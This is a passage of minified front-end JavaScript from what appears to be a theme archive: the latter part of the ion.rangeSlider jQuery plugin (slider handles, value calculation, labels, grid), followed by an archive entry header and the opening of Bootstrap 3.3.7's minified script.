this.plugin_count,this.pointerDown.bind(this,"from")),this.$cache.s_from.on("touchstart.irs_"+this.plugin_count,this.pointerDown.bind(this,"from")),this.$cache.to.on("touchstart.irs_"+this.plugin_count,this.pointerDown.bind(this,"to")),this.$cache.s_to.on("touchstart.irs_"+this.plugin_count,this.pointerDown.bind(this,"to")),this.$cache.shad_from.on("touchstart.irs_"+this.plugin_count,this.pointerClick.bind(this,"click")),this.$cache.shad_to.on("touchstart.irs_"+this.plugin_count,this.pointerClick.bind(this,
"click")),this.$cache.from.on("mousedown.irs_"+this.plugin_count,this.pointerDown.bind(this,"from")),this.$cache.s_from.on("mousedown.irs_"+this.plugin_count,this.pointerDown.bind(this,"from")),this.$cache.to.on("mousedown.irs_"+this.plugin_count,this.pointerDown.bind(this,"to")),this.$cache.s_to.on("mousedown.irs_"+this.plugin_count,this.pointerDown.bind(this,"to")),this.$cache.shad_from.on("mousedown.irs_"+this.plugin_count,this.pointerClick.bind(this,"click")),this.$cache.shad_to.on("mousedown.irs_"+
this.plugin_count,this.pointerClick.bind(this,"click")));if(this.options.keyboard)this.$cache.line.on("keydown.irs_"+this.plugin_count,this.key.bind(this,"keyboard"));m&&(this.$cache.body.on("mouseup.irs_"+this.plugin_count,this.pointerUp.bind(this)),this.$cache.body.on("mouseleave.irs_"+this.plugin_count,this.pointerUp.bind(this)))}},pointerFocus:function(a){if(!this.target){var b="single"===this.options.type?this.$cache.single:this.$cache.from;a=b.offset().left;a+=b.width()/2-1;this.pointerClick("single",
{preventDefault:function(){},pageX:a})}},pointerMove:function(a){this.dragging&&(this.coords.x_pointer=(a.pageX||a.originalEvent.touches&&a.originalEvent.touches[0].pageX)-this.coords.x_gap,this.calc())},pointerUp:function(a){this.current_plugin===this.plugin_count&&this.is_active&&(this.is_active=!1,this.$cache.cont.find(".state_hover").removeClass("state_hover"),this.force_redraw=!0,m&&f("*").prop("unselectable",!1),this.updateScene(),this.restoreOriginalMinInterval(),(f.contains(this.$cache.cont[0],
a.target)||this.dragging)&&this.callOnFinish(),this.dragging=!1)},pointerDown:function(a,b){b.preventDefault();var d=b.pageX||b.originalEvent.touches&&b.originalEvent.touches[0].pageX;2!==b.button&&("both"===a&&this.setTempMinInterval(),a||(a=this.target||"from"),this.current_plugin=this.plugin_count,this.target=a,this.dragging=this.is_active=!0,this.coords.x_gap=this.$cache.rs.offset().left,this.coords.x_pointer=d-this.coords.x_gap,this.calcPointerPercent(),this.changeLevel(a),m&&f("*").prop("unselectable",
!0),this.$cache.line.trigger("focus"),this.updateScene())},pointerClick:function(a,b){b.preventDefault();var d=b.pageX||b.originalEvent.touches&&b.originalEvent.touches[0].pageX;2!==b.button&&(this.current_plugin=this.plugin_count,this.target=a,this.is_click=!0,this.coords.x_gap=this.$cache.rs.offset().left,this.coords.x_pointer=+(d-this.coords.x_gap).toFixed(),this.force_redraw=!0,this.calc(),this.$cache.line.trigger("focus"))},key:function(a,b){if(!(this.current_plugin!==this.plugin_count||b.altKey||
b.ctrlKey||b.shiftKey||b.metaKey)){switch(b.which){case 83:case 65:case 40:case 37:b.preventDefault();this.moveByKey(!1);break;case 87:case 68:case 38:case 39:b.preventDefault(),this.moveByKey(!0)}return!0}},moveByKey:function(a){var b=this.coords.p_pointer,d=(this.options.max-this.options.min)/100,d=this.options.step/d;this.coords.x_pointer=this.toFixed(this.coords.w_rs/100*(a?b+d:b-d));this.is_key=!0;this.calc()},setMinMax:function(){if(this.options)if(this.options.hide_min_max)this.$cache.min[0].style.display=
"none",this.$cache.max[0].style.display="none";else{if(this.options.values.length)this.$cache.min.html(this.decorate(this.options.p_values[this.options.min])),this.$cache.max.html(this.decorate(this.options.p_values[this.options.max]));else{var a=this._prettify(this.options.min),b=this._prettify(this.options.max);this.result.min_pretty=a;this.result.max_pretty=b;this.$cache.min.html(this.decorate(a,this.options.min));this.$cache.max.html(this.decorate(b,this.options.max))}this.labels.w_min=this.$cache.min.outerWidth(!1);
this.labels.w_max=this.$cache.max.outerWidth(!1)}},setTempMinInterval:function(){var a=this.result.to-this.result.from;null===this.old_min_interval&&(this.old_min_interval=this.options.min_interval);this.options.min_interval=a},restoreOriginalMinInterval:function(){null!==this.old_min_interval&&(this.options.min_interval=this.old_min_interval,this.old_min_interval=null)},calc:function(a){if(this.options){this.calc_count++;if(10===this.calc_count||a)this.calc_count=0,this.coords.w_rs=this.$cache.rs.outerWidth(!1),
this.calcHandlePercent();if(this.coords.w_rs){this.calcPointerPercent();a=this.getHandleX();"both"===this.target&&(this.coords.p_gap=0,a=this.getHandleX());"click"===this.target&&(this.coords.p_gap=this.coords.p_handle/2,a=this.getHandleX(),this.target=this.options.drag_interval?"both_one":this.chooseHandle(a));switch(this.target){case "base":var b=(this.options.max-this.options.min)/100;a=(this.result.from-this.options.min)/b;b=(this.result.to-this.options.min)/b;this.coords.p_single_real=this.toFixed(a);
this.coords.p_from_real=this.toFixed(a);this.coords.p_to_real=this.toFixed(b);this.coords.p_single_real=this.checkDiapason(this.coords.p_single_real,this.options.from_min,this.options.from_max);this.coords.p_from_real=this.checkDiapason(this.coords.p_from_real,this.options.from_min,this.options.from_max);this.coords.p_to_real=this.checkDiapason(this.coords.p_to_real,this.options.to_min,this.options.to_max);this.coords.p_single_fake=this.convertToFakePercent(this.coords.p_single_real);this.coords.p_from_fake=
this.convertToFakePercent(this.coords.p_from_real);this.coords.p_to_fake=this.convertToFakePercent(this.coords.p_to_real);this.target=null;break;case "single":if(this.options.from_fixed)break;this.coords.p_single_real=this.convertToRealPercent(a);this.coords.p_single_real=this.calcWithStep(this.coords.p_single_real);this.coords.p_single_real=this.checkDiapason(this.coords.p_single_real,this.options.from_min,this.options.from_max);this.coords.p_single_fake=this.convertToFakePercent(this.coords.p_single_real);
break;case "from":if(this.options.from_fixed)break;this.coords.p_from_real=this.convertToRealPercent(a);this.coords.p_from_real=this.calcWithStep(this.coords.p_from_real);this.coords.p_from_real>this.coords.p_to_real&&(this.coords.p_from_real=this.coords.p_to_real);this.coords.p_from_real=this.checkDiapason(this.coords.p_from_real,this.options.from_min,this.options.from_max);this.coords.p_from_real=this.checkMinInterval(this.coords.p_from_real,this.coords.p_to_real,"from");this.coords.p_from_real=
this.checkMaxInterval(this.coords.p_from_real,this.coords.p_to_real,"from");this.coords.p_from_fake=this.convertToFakePercent(this.coords.p_from_real);break;case "to":if(this.options.to_fixed)break;this.coords.p_to_real=this.convertToRealPercent(a);this.coords.p_to_real=this.calcWithStep(this.coords.p_to_real);this.coords.p_to_real<this.coords.p_from_real&&(this.coords.p_to_real=this.coords.p_from_real);this.coords.p_to_real=this.checkDiapason(this.coords.p_to_real,this.options.to_min,this.options.to_max);
this.coords.p_to_real=this.checkMinInterval(this.coords.p_to_real,this.coords.p_from_real,"to");this.coords.p_to_real=this.checkMaxInterval(this.coords.p_to_real,this.coords.p_from_real,"to");this.coords.p_to_fake=this.convertToFakePercent(this.coords.p_to_real);break;case "both":if(this.options.from_fixed||this.options.to_fixed)break;a=this.toFixed(a+.001*this.coords.p_handle);this.coords.p_from_real=this.convertToRealPercent(a)-this.coords.p_gap_left;this.coords.p_from_real=this.calcWithStep(this.coords.p_from_real);
this.coords.p_from_real=this.checkDiapason(this.coords.p_from_real,this.options.from_min,this.options.from_max);this.coords.p_from_real=this.checkMinInterval(this.coords.p_from_real,this.coords.p_to_real,"from");this.coords.p_from_fake=this.convertToFakePercent(this.coords.p_from_real);this.coords.p_to_real=this.convertToRealPercent(a)+this.coords.p_gap_right;this.coords.p_to_real=this.calcWithStep(this.coords.p_to_real);this.coords.p_to_real=this.checkDiapason(this.coords.p_to_real,this.options.to_min,
this.options.to_max);this.coords.p_to_real=this.checkMinInterval(this.coords.p_to_real,this.coords.p_from_real,"to");this.coords.p_to_fake=this.convertToFakePercent(this.coords.p_to_real);break;case "both_one":if(!this.options.from_fixed&&!this.options.to_fixed){var d=this.convertToRealPercent(a);a=this.result.to_percent-this.result.from_percent;var c=a/2,b=d-c,d=d+c;0>b&&(b=0,d=b+a);100<d&&(d=100,b=d-a);this.coords.p_from_real=this.calcWithStep(b);this.coords.p_from_real=this.checkDiapason(this.coords.p_from_real,
this.options.from_min,this.options.from_max);this.coords.p_from_fake=this.convertToFakePercent(this.coords.p_from_real);this.coords.p_to_real=this.calcWithStep(d);this.coords.p_to_real=this.checkDiapason(this.coords.p_to_real,this.options.to_min,this.options.to_max);this.coords.p_to_fake=this.convertToFakePercent(this.coords.p_to_real)}}"single"===this.options.type?(this.coords.p_bar_x=this.coords.p_handle/2,this.coords.p_bar_w=this.coords.p_single_fake,this.result.from_percent=this.coords.p_single_real,
this.result.from=this.convertToValue(this.coords.p_single_real),this.result.from_pretty=this._prettify(this.result.from),this.options.values.length&&(this.result.from_value=this.options.values[this.result.from])):(this.coords.p_bar_x=this.toFixed(this.coords.p_from_fake+this.coords.p_handle/2),this.coords.p_bar_w=this.toFixed(this.coords.p_to_fake-this.coords.p_from_fake),this.result.from_percent=this.coords.p_from_real,this.result.from=this.convertToValue(this.coords.p_from_real),this.result.from_pretty=
this._prettify(this.result.from),this.result.to_percent=this.coords.p_to_real,this.result.to=this.convertToValue(this.coords.p_to_real),this.result.to_pretty=this._prettify(this.result.to),this.options.values.length&&(this.result.from_value=this.options.values[this.result.from],this.result.to_value=this.options.values[this.result.to]));this.calcMinMax();this.calcLabels()}}},calcPointerPercent:function(){this.coords.w_rs?(0>this.coords.x_pointer||isNaN(this.coords.x_pointer)?this.coords.x_pointer=
0:this.coords.x_pointer>this.coords.w_rs&&(this.coords.x_pointer=this.coords.w_rs),this.coords.p_pointer=this.toFixed(this.coords.x_pointer/this.coords.w_rs*100)):this.coords.p_pointer=0},convertToRealPercent:function(a){return a/(100-this.coords.p_handle)*100},convertToFakePercent:function(a){return a/100*(100-this.coords.p_handle)},getHandleX:function(){var a=100-this.coords.p_handle,b=this.toFixed(this.coords.p_pointer-this.coords.p_gap);0>b?b=0:b>a&&(b=a);return b},calcHandlePercent:function(){this.coords.w_handle=
"single"===this.options.type?this.$cache.s_single.outerWidth(!1):this.$cache.s_from.outerWidth(!1);this.coords.p_handle=this.toFixed(this.coords.w_handle/this.coords.w_rs*100)},chooseHandle:function(a){return"single"===this.options.type?"single":a>=this.coords.p_from_real+(this.coords.p_to_real-this.coords.p_from_real)/2?this.options.to_fixed?"from":"to":this.options.from_fixed?"to":"from"},calcMinMax:function(){this.coords.w_rs&&(this.labels.p_min=this.labels.w_min/this.coords.w_rs*100,this.labels.p_max=
this.labels.w_max/this.coords.w_rs*100)},calcLabels:function(){this.coords.w_rs&&!this.options.hide_from_to&&("single"===this.options.type?(this.labels.w_single=this.$cache.single.outerWidth(!1),this.labels.p_single_fake=this.labels.w_single/this.coords.w_rs*100,this.labels.p_single_left=this.coords.p_single_fake+this.coords.p_handle/2-this.labels.p_single_fake/2):(this.labels.w_from=this.$cache.from.outerWidth(!1),this.labels.p_from_fake=this.labels.w_from/this.coords.w_rs*100,this.labels.p_from_left=
this.coords.p_from_fake+this.coords.p_handle/2-this.labels.p_from_fake/2,this.labels.p_from_left=this.toFixed(this.labels.p_from_left),this.labels.p_from_left=this.checkEdges(this.labels.p_from_left,this.labels.p_from_fake),this.labels.w_to=this.$cache.to.outerWidth(!1),this.labels.p_to_fake=this.labels.w_to/this.coords.w_rs*100,this.labels.p_to_left=this.coords.p_to_fake+this.coords.p_handle/2-this.labels.p_to_fake/2,this.labels.p_to_left=this.toFixed(this.labels.p_to_left),this.labels.p_to_left=
this.checkEdges(this.labels.p_to_left,this.labels.p_to_fake),this.labels.w_single=this.$cache.single.outerWidth(!1),this.labels.p_single_fake=this.labels.w_single/this.coords.w_rs*100,this.labels.p_single_left=(this.labels.p_from_left+this.labels.p_to_left+this.labels.p_to_fake)/2-this.labels.p_single_fake/2,this.labels.p_single_left=this.toFixed(this.labels.p_single_left)),this.labels.p_single_left=this.checkEdges(this.labels.p_single_left,this.labels.p_single_fake))},updateScene:function(){this.raf_id&&
(cancelAnimationFrame(this.raf_id),this.raf_id=null);clearTimeout(this.update_tm);this.update_tm=null;this.options&&(this.drawHandles(),this.is_active?this.raf_id=requestAnimationFrame(this.updateScene.bind(this)):this.update_tm=setTimeout(this.updateScene.bind(this),300))},drawHandles:function(){this.coords.w_rs=this.$cache.rs.outerWidth(!1);if(this.coords.w_rs){this.coords.w_rs!==this.coords.w_rs_old&&(this.target="base",this.is_resize=!0);if(this.coords.w_rs!==this.coords.w_rs_old||this.force_redraw)this.setMinMax(),
this.calc(!0),this.drawLabels(),this.options.grid&&(this.calcGridMargin(),this.calcGridLabels()),this.force_redraw=!0,this.coords.w_rs_old=this.coords.w_rs,this.drawShadow();if(this.coords.w_rs&&(this.dragging||this.force_redraw||this.is_key)){if(this.old_from!==this.result.from||this.old_to!==this.result.to||this.force_redraw||this.is_key){this.drawLabels();this.$cache.bar[0].style.left=this.coords.p_bar_x+"%";this.$cache.bar[0].style.width=this.coords.p_bar_w+"%";if("single"===this.options.type)this.$cache.s_single[0].style.left=
this.coords.p_single_fake+"%";else{this.$cache.s_from[0].style.left=this.coords.p_from_fake+"%";this.$cache.s_to[0].style.left=this.coords.p_to_fake+"%";if(this.old_from!==this.result.from||this.force_redraw)this.$cache.from[0].style.left=this.labels.p_from_left+"%";if(this.old_to!==this.result.to||this.force_redraw)this.$cache.to[0].style.left=this.labels.p_to_left+"%"}this.$cache.single[0].style.left=this.labels.p_single_left+"%";this.writeToInput();this.old_from===this.result.from&&this.old_to===
this.result.to||this.is_start||(this.$cache.input.trigger("change"),this.$cache.input.trigger("input"));this.old_from=this.result.from;this.old_to=this.result.to;this.is_resize||this.is_update||this.is_start||this.is_finish||this.callOnChange();if(this.is_key||this.is_click)this.is_click=this.is_key=!1,this.callOnFinish();this.is_finish=this.is_resize=this.is_update=!1}this.force_redraw=this.is_click=this.is_key=this.is_start=!1}}},drawLabels:function(){if(this.options){var a=this.options.values.length,
b=this.options.p_values;if(!this.options.hide_from_to)if("single"===this.options.type){if(a)a=this.decorate(b[this.result.from]);else{var d=this._prettify(this.result.from);a=this.decorate(d,this.result.from)}this.$cache.single.html(a);this.calcLabels();this.$cache.min[0].style.visibility=this.labels.p_single_left<this.labels.p_min+1?"hidden":"visible";this.$cache.max[0].style.visibility=this.labels.p_single_left+this.labels.p_single_fake>100-this.labels.p_max-1?"hidden":"visible"}else{a?(this.options.decorate_both?
(a=this.decorate(b[this.result.from]),a+=this.options.values_separator,a+=this.decorate(b[this.result.to])):a=this.decorate(b[this.result.from]+this.options.values_separator+b[this.result.to]),d=this.decorate(b[this.result.from]),b=this.decorate(b[this.result.to])):(d=this._prettify(this.result.from),b=this._prettify(this.result.to),this.options.decorate_both?(a=this.decorate(d,this.result.from),a+=this.options.values_separator,a+=this.decorate(b,this.result.to)):a=this.decorate(d+this.options.values_separator+
b,this.result.to),d=this.decorate(d,this.result.from),b=this.decorate(b,this.result.to));this.$cache.single.html(a);this.$cache.from.html(d);this.$cache.to.html(b);this.calcLabels();a=Math.min(this.labels.p_single_left,this.labels.p_from_left);d=this.labels.p_single_left+this.labels.p_single_fake;var b=this.labels.p_to_left+this.labels.p_to_fake,c=Math.max(d,b);this.labels.p_from_left+this.labels.p_from_fake>=this.labels.p_to_left?(this.$cache.from[0].style.visibility="hidden",this.$cache.to[0].style.visibility=
"hidden",this.$cache.single[0].style.visibility="visible",this.result.from===this.result.to?("from"===this.target?this.$cache.from[0].style.visibility="visible":"to"===this.target?this.$cache.to[0].style.visibility="visible":this.target||(this.$cache.from[0].style.visibility="visible"),this.$cache.single[0].style.visibility="hidden",c=b):(this.$cache.from[0].style.visibility="hidden",this.$cache.to[0].style.visibility="hidden",this.$cache.single[0].style.visibility="visible",c=Math.max(d,b))):(this.$cache.from[0].style.visibility=
"visible",this.$cache.to[0].style.visibility="visible",this.$cache.single[0].style.visibility="hidden");this.$cache.min[0].style.visibility=a<this.labels.p_min+1?"hidden":"visible";this.$cache.max[0].style.visibility=c>100-this.labels.p_max-1?"hidden":"visible"}}},drawShadow:function(){var a=this.options,b=this.$cache,d="number"===typeof a.from_min&&!isNaN(a.from_min),c="number"===typeof a.from_max&&!isNaN(a.from_max),e="number"===typeof a.to_min&&!isNaN(a.to_min),g="number"===typeof a.to_max&&!isNaN(a.to_max);
"single"===a.type?a.from_shadow&&(d||c)?(d=this.convertToPercent(d?a.from_min:a.min),c=this.convertToPercent(c?a.from_max:a.max)-d,d=this.toFixed(d-this.coords.p_handle/100*d),c=this.toFixed(c-this.coords.p_handle/100*c),d+=this.coords.p_handle/2,b.shad_single[0].style.display="block",b.shad_single[0].style.left=d+"%",b.shad_single[0].style.width=c+"%"):b.shad_single[0].style.display="none":(a.from_shadow&&(d||c)?(d=this.convertToPercent(d?a.from_min:a.min),c=this.convertToPercent(c?a.from_max:a.max)-
d,d=this.toFixed(d-this.coords.p_handle/100*d),c=this.toFixed(c-this.coords.p_handle/100*c),d+=this.coords.p_handle/2,b.shad_from[0].style.display="block",b.shad_from[0].style.left=d+"%",b.shad_from[0].style.width=c+"%"):b.shad_from[0].style.display="none",a.to_shadow&&(e||g)?(e=this.convertToPercent(e?a.to_min:a.min),a=this.convertToPercent(g?a.to_max:a.max)-e,e=this.toFixed(e-this.coords.p_handle/100*e),a=this.toFixed(a-this.coords.p_handle/100*a),e+=this.coords.p_handle/2,b.shad_to[0].style.display=
"block",b.shad_to[0].style.left=e+"%",b.shad_to[0].style.width=a+"%"):b.shad_to[0].style.display="none")},writeToInput:function(){"single"===this.options.type?(this.options.values.length?this.$cache.input.prop("value",this.result.from_value):this.$cache.input.prop("value",this.result.from),this.$cache.input.data("from",this.result.from)):(this.options.values.length?this.$cache.input.prop("value",this.result.from_value+this.options.input_values_separator+this.result.to_value):this.$cache.input.prop("value",
this.result.from+this.options.input_values_separator+this.result.to),this.$cache.input.data("from",this.result.from),this.$cache.input.data("to",this.result.to))},callOnStart:function(){this.writeToInput();if(this.options.onStart&&"function"===typeof this.options.onStart)if(this.options.scope)this.options.onStart.call(this.options.scope,this.result);else this.options.onStart(this.result)},callOnChange:function(){this.writeToInput();if(this.options.onChange&&"function"===typeof this.options.onChange)if(this.options.scope)this.options.onChange.call(this.options.scope,
this.result);else this.options.onChange(this.result)},callOnFinish:function(){this.writeToInput();if(this.options.onFinish&&"function"===typeof this.options.onFinish)if(this.options.scope)this.options.onFinish.call(this.options.scope,this.result);else this.options.onFinish(this.result)},callOnUpdate:function(){this.writeToInput();if(this.options.onUpdate&&"function"===typeof this.options.onUpdate)if(this.options.scope)this.options.onUpdate.call(this.options.scope,this.result);else this.options.onUpdate(this.result)},
toggleInput:function(){this.$cache.input.toggleClass("irs-hidden-input");this.has_tab_index?this.$cache.input.prop("tabindex",-1):this.$cache.input.removeProp("tabindex");this.has_tab_index=!this.has_tab_index},convertToPercent:function(a,b){var d=this.options.max-this.options.min;return d?this.toFixed((b?a:a-this.options.min)/(d/100)):(this.no_diapason=!0,0)},convertToValue:function(a){var b=this.options.min,d=this.options.max,c=b.toString().split(".")[1],e=d.toString().split(".")[1],g,l,f=0,h=0;
if(0===a)return this.options.min;if(100===a)return this.options.max;c&&(f=g=c.length);e&&(f=l=e.length);g&&l&&(f=g>=l?g:l);0>b&&(h=Math.abs(b),b=+(b+h).toFixed(f),d=+(d+h).toFixed(f));a=(d-b)/100*a+b;(b=this.options.step.toString().split(".")[1])?a=+a.toFixed(b.length):(a/=this.options.step,a*=this.options.step,a=+a.toFixed(0));h&&(a-=h);h=b?+a.toFixed(b.length):this.toFixed(a);h<this.options.min?h=this.options.min:h>this.options.max&&(h=this.options.max);return h},calcWithStep:function(a){var b=
Math.round(a/this.coords.p_step)*this.coords.p_step;100<b&&(b=100);100===a&&(b=100);return this.toFixed(b)},checkMinInterval:function(a,b,d){var c=this.options;if(!c.min_interval)return a;a=this.convertToValue(a);b=this.convertToValue(b);"from"===d?b-a<c.min_interval&&(a=b-c.min_interval):a-b<c.min_interval&&(a=b+c.min_interval);return this.convertToPercent(a)},checkMaxInterval:function(a,b,d){var c=this.options;if(!c.max_interval)return a;a=this.convertToValue(a);b=this.convertToValue(b);"from"===
d?b-a>c.max_interval&&(a=b-c.max_interval):a-b>c.max_interval&&(a=b+c.max_interval);return this.convertToPercent(a)},checkDiapason:function(a,b,d){a=this.convertToValue(a);var c=this.options;"number"!==typeof b&&(b=c.min);"number"!==typeof d&&(d=c.max);a<b&&(a=b);a>d&&(a=d);return this.convertToPercent(a)},toFixed:function(a){a=a.toFixed(20);return+a},_prettify:function(a){return this.options.prettify_enabled?this.options.prettify&&"function"===typeof this.options.prettify?this.options.prettify(a):
this.prettify(a):a},prettify:function(a){return a.toString().replace(/(\d{1,3}(?=(?:\d\d\d)+(?!\d)))/g,"$1"+this.options.prettify_separator)},checkEdges:function(a,b){if(!this.options.force_edges)return this.toFixed(a);0>a?a=0:a>100-b&&(a=100-b);return this.toFixed(a)},validate:function(){var a=this.options,b=this.result,d=a.values,c=d.length,e;"string"===typeof a.min&&(a.min=+a.min);"string"===typeof a.max&&(a.max=+a.max);"string"===typeof a.from&&(a.from=+a.from);"string"===typeof a.to&&(a.to=+a.to);
"string"===typeof a.step&&(a.step=+a.step);"string"===typeof a.from_min&&(a.from_min=+a.from_min);"string"===typeof a.from_max&&(a.from_max=+a.from_max);"string"===typeof a.to_min&&(a.to_min=+a.to_min);"string"===typeof a.to_max&&(a.to_max=+a.to_max);"string"===typeof a.grid_num&&(a.grid_num=+a.grid_num);a.max<a.min&&(a.max=a.min);if(c)for(a.p_values=[],a.min=0,a.max=c-1,a.step=1,a.grid_num=a.max,a.grid_snap=!0,e=0;e<c;e++){var g=+d[e];isNaN(g)?g=d[e]:(d[e]=g,g=this._prettify(g));a.p_values.push(g)}if("number"!==
typeof a.from||isNaN(a.from))a.from=a.min;if("number"!==typeof a.to||isNaN(a.to))a.to=a.max;"single"===a.type?(a.from<a.min&&(a.from=a.min),a.from>a.max&&(a.from=a.max)):(a.from<a.min&&(a.from=a.min),a.from>a.max&&(a.from=a.max),a.to<a.min&&(a.to=a.min),a.to>a.max&&(a.to=a.max),this.update_check.from&&(this.update_check.from!==a.from&&a.from>a.to&&(a.from=a.to),this.update_check.to!==a.to&&a.to<a.from&&(a.to=a.from)),a.from>a.to&&(a.from=a.to),a.to<a.from&&(a.to=a.from));if("number"!==typeof a.step||
isNaN(a.step)||!a.step||0>a.step)a.step=1;"number"===typeof a.from_min&&a.from<a.from_min&&(a.from=a.from_min);"number"===typeof a.from_max&&a.from>a.from_max&&(a.from=a.from_max);"number"===typeof a.to_min&&a.to<a.to_min&&(a.to=a.to_min);"number"===typeof a.to_max&&a.from>a.to_max&&(a.to=a.to_max);if(b){b.min!==a.min&&(b.min=a.min);b.max!==a.max&&(b.max=a.max);if(b.from<b.min||b.from>b.max)b.from=a.from;if(b.to<b.min||b.to>b.max)b.to=a.to}if("number"!==typeof a.min_interval||isNaN(a.min_interval)||
!a.min_interval||0>a.min_interval)a.min_interval=0;if("number"!==typeof a.max_interval||isNaN(a.max_interval)||!a.max_interval||0>a.max_interval)a.max_interval=0;a.min_interval&&a.min_interval>a.max-a.min&&(a.min_interval=a.max-a.min);a.max_interval&&a.max_interval>a.max-a.min&&(a.max_interval=a.max-a.min)},decorate:function(a,b){var d="",c=this.options;c.prefix&&(d+=c.prefix);d+=a;c.max_postfix&&(c.values.length&&a===c.p_values[c.max]?(d+=c.max_postfix,c.postfix&&(d+=" ")):b===c.max&&(d+=c.max_postfix,
c.postfix&&(d+=" ")));c.postfix&&(d+=c.postfix);return d},updateFrom:function(){this.result.from=this.options.from;this.result.from_percent=this.convertToPercent(this.result.from);this.result.from_pretty=this._prettify(this.result.from);this.options.values&&(this.result.from_value=this.options.values[this.result.from])},updateTo:function(){this.result.to=this.options.to;this.result.to_percent=this.convertToPercent(this.result.to);this.result.to_pretty=this._prettify(this.result.to);this.options.values&&
(this.result.to_value=this.options.values[this.result.to])},updateResult:function(){this.result.min=this.options.min;this.result.max=this.options.max;this.updateFrom();this.updateTo()},appendGrid:function(){if(this.options.grid){var a=this.options,b;var d=a.max-a.min;var c=a.grid_num,e=4,g="";this.calcGridMargin();if(a.grid_snap)if(50<d){c=50/a.step;var f=this.toFixed(a.step/.5)}else c=d/a.step,f=this.toFixed(a.step/(d/100));else f=this.toFixed(100/c);4<c&&(e=3);7<c&&(e=2);14<c&&(e=1);28<c&&(e=0);
for(d=0;d<c+1;d++){var k=e;var h=this.toFixed(f*d);100<h&&(h=100);this.coords.big[d]=h;var m=(h-f*(d-1))/(k+1);for(b=1;b<=k&&0!==h;b++){var n=this.toFixed(h-m*b);g+='<span class="irs-grid-pol small" style="left: '+n+'%"></span>'}g+='<span class="irs-grid-pol" style="left: '+h+'%"></span>';b=this.convertToValue(h);b=a.values.length?a.p_values[b]:this._prettify(b);g+='<span class="irs-grid-text js-grid-text-'+d+'" style="left: '+h+'%">'+b+"</span>"}this.coords.big_num=Math.ceil(c+1);this.$cache.cont.addClass("irs-with-grid");
this.$cache.grid.html(g);this.cacheGridLabels()}},cacheGridLabels:function(){var a,b=this.coords.big_num;for(a=0;a<b;a++){var d=this.$cache.grid.find(".js-grid-text-"+a);this.$cache.grid_labels.push(d)}this.calcGridLabels()},calcGridLabels:function(){var a;var b=[];var d=[],c=this.coords.big_num;for(a=0;a<c;a++)this.coords.big_w[a]=this.$cache.grid_labels[a].outerWidth(!1),this.coords.big_p[a]=this.toFixed(this.coords.big_w[a]/this.coords.w_rs*100),this.coords.big_x[a]=this.toFixed(this.coords.big_p[a]/
2),b[a]=this.toFixed(this.coords.big[a]-this.coords.big_x[a]),d[a]=this.toFixed(b[a]+this.coords.big_p[a]);this.options.force_edges&&(b[0]<-this.coords.grid_gap&&(b[0]=-this.coords.grid_gap,d[0]=this.toFixed(b[0]+this.coords.big_p[0]),this.coords.big_x[0]=this.coords.grid_gap),d[c-1]>100+this.coords.grid_gap&&(d[c-1]=100+this.coords.grid_gap,b[c-1]=this.toFixed(d[c-1]-this.coords.big_p[c-1]),this.coords.big_x[c-1]=this.toFixed(this.coords.big_p[c-1]-this.coords.grid_gap)));this.calcGridCollision(2,
b,d);this.calcGridCollision(4,b,d);for(a=0;a<c;a++)b=this.$cache.grid_labels[a][0],this.coords.big_x[a]!==Number.POSITIVE_INFINITY&&(b.style.marginLeft=-this.coords.big_x[a]+"%")},calcGridCollision:function(a,b,d){var c,e=this.coords.big_num;for(c=0;c<e;c+=a){var g=c+a/2;if(g>=e)break;var f=this.$cache.grid_labels[g][0];f.style.visibility=d[c]<=b[g]?"visible":"hidden"}},calcGridMargin:function(){this.options.grid_margin&&(this.coords.w_rs=this.$cache.rs.outerWidth(!1),this.coords.w_rs&&(this.coords.w_handle=
"single"===this.options.type?this.$cache.s_single.outerWidth(!1):this.$cache.s_from.outerWidth(!1),this.coords.p_handle=this.toFixed(this.coords.w_handle/this.coords.w_rs*100),this.coords.grid_gap=this.toFixed(this.coords.p_handle/2-.1),this.$cache.grid[0].style.width=this.toFixed(100-this.coords.p_handle)+"%",this.$cache.grid[0].style.left=this.coords.grid_gap+"%"))},update:function(a){this.input&&(this.is_update=!0,this.options.from=this.result.from,this.options.to=this.result.to,this.update_check.from=
this.result.from,this.update_check.to=this.result.to,this.options=f.extend(this.options,a),this.validate(),this.updateResult(a),this.toggleInput(),this.remove(),this.init(!0))},reset:function(){this.input&&(this.updateResult(),this.update())},destroy:function(){this.input&&(this.toggleInput(),this.$cache.input.prop("readonly",!1),f.data(this.input,"ionRangeSlider",null),this.remove(),this.options=this.input=null)}};f.fn.ionRangeSlider=function(a){return this.each(function(){f.data(this,"ionRangeSlider")||
f.data(this,"ionRangeSlider",new q(this,a,t++))})};(function(){for(var a=0,b=["ms","moz","webkit","o"],d=0;d<b.length&&!k.requestAnimationFrame;++d)k.requestAnimationFrame=k[b[d]+"RequestAnimationFrame"],k.cancelAnimationFrame=k[b[d]+"CancelAnimationFrame"]||k[b[d]+"CancelRequestAnimationFrame"];k.requestAnimationFrame||(k.requestAnimationFrame=function(b,d){var c=(new Date).getTime(),e=Math.max(0,16-(c-a)),f=k.setTimeout(function(){b(c+e)},e);a=c+e;return f});k.cancelAnimationFrame||(k.cancelAnimationFrame=
function(a){clearTimeout(a)})})()});
PK     N\T:Pf    :  inc/customizer/framework/assets/js/vendor/bootstrap.min.jsnu [        /*!
 * Bootstrap v3.3.7 (http://getbootstrap.com)
 * Copyright 2011-2016 Twitter, Inc.
 * Licensed under the MIT license
 */
if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery");+function(a){"use strict";var b=a.fn.jquery.split(" ")[0].split(".");if(b[0]<2&&b[1]<9||1==b[0]&&9==b[1]&&b[2]<1||b[0]>3)throw new Error("Bootstrap's JavaScript requires jQuery version 1.9.1 or higher, but lower than version 4")}(jQuery),+function(a){"use strict";function b(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]};return!1}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one("bsTransitionEnd",function(){c=!0});var e=function(){c||a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b(),a.support.transition&&(a.event.special.bsTransitionEnd={bindType:a.support.transition.end,delegateType:a.support.transition.end,handle:function(b){if(a(b.target).is(this))return b.handleObj.handler.apply(this,arguments)}})})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var c=a(this),e=c.data("bs.alert");e||c.data("bs.alert",e=new d(this)),"string"==typeof b&&e[b].call(c)})}var 